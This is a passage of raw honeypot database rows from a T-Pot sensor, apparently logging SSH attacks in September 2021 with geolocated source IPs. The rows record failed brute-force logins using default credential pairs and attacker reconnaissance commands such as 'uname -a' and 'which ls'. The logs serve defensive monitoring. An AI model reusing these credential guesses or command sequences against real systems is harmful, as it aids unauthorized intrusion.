"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
27983	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:15:50.638472+03	2021-09-20 14:30:02.236525+03	{"_id": "awbrAnwBvYTbRNuEWyvN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 976445470287434, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48558, "dest_port": 22, "timestamp": "2021-09-20T11:15:50.638472Z", "@timestamp": "2021-09-20T11:15:50.638Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27994	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:58.502707+03	2021-09-20 14:30:02.252524+03	{"_id": "3wbrAnwBvYTbRNuEeSs9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "81.71.17.12", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5705630779266357, "duplicate": true, "timestamp": "2021-09-20T11:15:58.502707Z", "@timestamp": "2021-09-20T11:15:58.502Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
27984	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:50.638558+03	2021-09-20 14:30:02.237523+03	{"_id": "bAbrAnwBvYTbRNuEXSsT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48558, "timestamp": "2021-09-20T11:15:50.638558", "@timestamp": "2021-09-20T11:15:50.638Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27985	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:51.037226+03	2021-09-20 14:30:02.239524+03	{"_id": "bgbrAnwBvYTbRNuEXSvd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:51.037226Z", "@timestamp": "2021-09-20T11:15:51.037Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
27986	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:51.037717+03	2021-09-20 14:30:02.240523+03	{"_id": "bwbrAnwBvYTbRNuEXSvd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:51.037717Z", "@timestamp": "2021-09-20T11:15:51.037Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
27987	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:52.243758+03	2021-09-20 14:30:02.241524+03	{"_id": "cwbrAnwBvYTbRNuEYSvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4905fbece771", "@version": "1", "timestamp": "2021-09-20T11:15:52.243758Z", "@timestamp": "2021-09-20T11:15:52.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27988	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:52.605408+03	2021-09-20 14:30:02.243524+03	{"_id": "dgbrAnwBvYTbRNuEYSvI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 19, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "81.71.17.12", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5800015926361084, "duplicate": true, "timestamp": "2021-09-20T11:15:52.605408Z", "@timestamp": "2021-09-20T11:15:52.605Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
27989	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:58.225618+03	2021-09-20 14:30:02.244523+03	{"_id": "2gbrAnwBvYTbRNuEeCty", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57250, "timestamp": "2021-09-20T11:15:58.225618", "@timestamp": "2021-09-20T11:15:58.225Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27990	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:57.932812+03	2021-09-20 14:30:02.246524+03	{"_id": "4wbrAnwBvYTbRNuEeSs9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:57.932812Z", "@timestamp": "2021-09-20T11:15:57.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
27991	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:58.257659+03	2021-09-20 14:30:02.248524+03	{"_id": "5AbrAnwBvYTbRNuEeSs9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [sakura/sakura] failed", "session": "9316f4dcf3e4", "@version": "1", "password": "sakura", "username": "sakura", "timestamp": "2021-09-20T11:15:58.257659Z", "@timestamp": "2021-09-20T11:15:58.257Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27992	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:15:58.260698+03	2021-09-20 14:30:02.249525+03	{"_id": "4gbrAnwBvYTbRNuEeSs9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "cbfb938affd8", "@version": "1", "timestamp": "2021-09-20T11:15:58.260698Z", "@timestamp": "2021-09-20T11:15:58.260Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27993	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:57.932261+03	2021-09-20 14:30:02.251524+03	{"_id": "3gbrAnwBvYTbRNuEeSs9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:57.932261Z", "@timestamp": "2021-09-20T11:15:57.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
27995	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:58.23038+03	2021-09-20 14:30:02.253523+03	{"_id": "3AbrAnwBvYTbRNuEeSs9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5be36f5fcf58", "@version": "1", "duration": 2.754589080810547, "timestamp": "2021-09-20T11:15:58.230380Z", "@timestamp": "2021-09-20T11:15:58.230Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27996	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:58.470711+03	2021-09-20 14:30:02.254523+03	{"_id": "4QbrAnwBvYTbRNuEeSs9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [support/1234] failed", "session": "c13b2449c12d", "@version": "1", "password": "1234", "username": "support", "timestamp": "2021-09-20T11:15:58.470711Z", "@timestamp": "2021-09-20T11:15:58.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27997	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:15:59.417191+03	2021-09-20 14:30:02.255524+03	{"_id": "6AbrAnwBvYTbRNuEfSsl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [magic/magic] failed", "session": "cbfb938affd8", "@version": "1", "password": "magic", "username": "magic", "timestamp": "2021-09-20T11:15:59.417191Z", "@timestamp": "2021-09-20T11:15:59.417Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27998	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:59.476674+03	2021-09-20 14:30:02.257524+03	{"_id": "6QbrAnwBvYTbRNuEfSsl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "81.71.17.12", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5714366436004639, "duplicate": true, "timestamp": "2021-09-20T11:15:59.476674Z", "@timestamp": "2021-09-20T11:15:59.476Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
27999	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:59.867498+03	2021-09-20 14:30:02.258524+03	{"_id": "7QbrAnwBvYTbRNuEgSsO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:59.867498Z", "@timestamp": "2021-09-20T11:15:59.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
